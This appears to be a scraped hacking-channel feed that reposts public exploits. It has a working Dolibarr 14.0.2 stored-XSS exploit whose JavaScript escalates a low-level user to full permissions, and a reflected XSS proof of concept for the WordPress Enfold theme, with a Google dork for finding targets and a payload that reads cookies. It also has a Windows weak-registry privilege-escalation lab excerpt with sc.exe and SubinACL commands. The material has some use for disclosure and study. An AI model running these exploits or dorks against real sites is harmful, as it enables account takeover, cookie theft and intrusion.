Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: Dolibarr ERP & CRM v14.0.2 Stored XSS / Privilege Escalation
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: October 9, 2021
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr
# Tested on: Ubuntu, LAAMP
# Vendor: Dolibarr
# Version: v14.0.2
# Exploit Description:
#   Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box. 
# Instructions:
#1. Insert this payload in the message box when creating a ticket: ">test
#
#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference. 
#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user. 
#
#3.Once an administrator user copies the text within the ticket the attack will launch.

function read_body(xhr) {

var data = xhr.responseXML;
var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href;
console.log(tokenizedUrl);
return tokenizedUrl;

}

function escalatePrivs() {
var url = read_body(xhr);
var http = new XMLHttpRequest();
http.open('GET', url);
http.onreadystatechange = function() {
if (this.readyState  === XMLHttpRequest.DONE && this.status === 200) {
return;
}
};
http.send(null);
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
read_body(xhr);
escalatePrivs(xhr);
}
}
xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Dolibarr ERP / CRM 14.0.2 Cross Site Scripting / Privilege Escalation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 16:33

Hacking Articles Tips Tricks Videos Tutorials

9 views16:33

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
WordPress Enfold Theme 4.8.3 Cross Site Scripting

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
WordPress Enfold theme version 4.8.3 suffers from a cross site scripting vulnerability.

MD5 | d9d1878c1ba91b823f24f56e988af8c6

Download

# Exploit Title: WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS)
# Google Dork: "inurl:avia-element-paging"
# Date: 18/10/2021
# Exploit Author: Francisco Díaz-Pache Alonso, Sergio Corral Cristo and David Álvarez Robles
# Vendor Homepage: https://kriesi.at/
# Version: Enfold < 4.8.4 (all versions)
# Tested on: Ubuntu
# CVE : CVE-2021-24719

# Full disclosure and PoC on: https://blog.asturhackers.es/cross-site-scripting-xss-reflejado-en-tema-enfold-4-8-4-para-wordpress

While navigating on WordPress sites with Enfold Theme previous than 4.8.4 version and Avia Page Builder, string “ProofOfConcept” can be reflected literally  on pagination numbers. Moreover, the parameter “avia-element-paging” appears and can be used for crafting Google Dork based searches.

https://[hostname]/[path]?ProofOfConcept --> This URL must include pages shown by Enfold theme

Changing the “ProofOfConcept” text with a Cross-Site-Scripting (XSS) payload, the page processes and executes it. This is a reflected Cross-Site-Scripting (XSS)  vulnerability. Find the following URL that includes the malicious payload.

https://[hostname]/[path]/?%2527%253E%253Cscript%253Eeval%2528atob%2528%2522Y29uc29sZS5sb2coZG9j --> This URL must include pages shown by Enfold theme

Payload (double encoded): this payload is double encoded in the URL from:
'>

Payload (base64): the “atob” payload is Base64 encoded from:
console.log(document.cookie)

Navigating to the crafted URL, the console log displays some cookies that are used by the affected site (i.e. cookies with no “HttpOnly” flag set). However, the payload can be easily configurable.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

WordPress Enfold Theme 4.8.3 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 16:33

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Online Motorcycle (Bike) Rental System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Online Motorcycle (Bike) Rental System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 16:33

Hacking Articles Tips Tricks Videos Tutorials

10 views16:44

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Weak Registry Permission

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting misconfigured services is one technique to increase privileges.

Table of ContentIntroductionIntroductionThe registry is a system-defined database in which applications and system components store and retrieve configuration data. The registry is a hierarchical database that contains data that is critical for the operation of Windows and the applications and services that run on Windows.You can use Registry Editor to do the following actions:* Locate a subtree, key, subkey, or valueRegistry HiveA hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Note:Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user's hive contains specific registry information pertaining to the user's application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.Weak Registry PermissionMitre ID:T1574.011Tactics:Privilege Escalation & PersistencePlatforms:WindowsPrerequisiteWindows 10Attacker Machine:Kali LinuxTools: SubinACL, PowerUP.ps1, Winpeas.Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.Objective:Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Weak Registry Key. Lab SetupRun CMD as administrator and execute the below command to create a [...]

___________________________
@hacking_Attack
@Hacking_Video

Blogspot

Windows Privilege Escalation: Weak Registry Permission

Hacking Articles is a very interesting blog about information security, penetration testing and vulnerability assessment managed by Raj Chandel.

10 viewsedited 16:44

Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog Windows Privilege Escalation: Weak Registry Permission Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry…

service with the name of Pentest inside /temp directory.sc.exe create pentest binPath= "C:\temp\service.exe" pentest /grant=msedgewin10\ignite=PTOTo create a vulnerable service we need to assign some toxic privilege with the help of SubinACLto change the permission of services.NOTE:SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing the permissions of files, folders, registry keys, services, printers, cluster shares and various other types of objects.In this case, we have granted a user permissions to suspend (pause/continue), start and stop (restart) a service. The full list of the available service permissions:Step3:After downloading SubinACL, execute the following command to assign PTO Permissions user “ignite” against “Pentest” service.cd C:\Program Files (x86)\Windows Resource Kits\Tools pentest /grant=msedgewin10\ignite=PTOStep4: Explore registry pathHKLM\SYSTEM\CurrentControlSet\Services\pentest and change permission for it.

Step5:Allow FULL Control on Authenticate user.Abusing Weak Registry ServicesAn attacker can escalate privileges by exploiting Weak Registry permission if the current user has permission to alter Registry keys associated with the service.Enumerate Vulnerable Registry key using PowershellWith the help of PowerShell, you check the Access Control List (ACL) to enumerate the user privileges full [...]

___________________________
@hacking_Attack
@Hacking_Video

9 viewsedited 16:44

About

Blog

Apps

Platform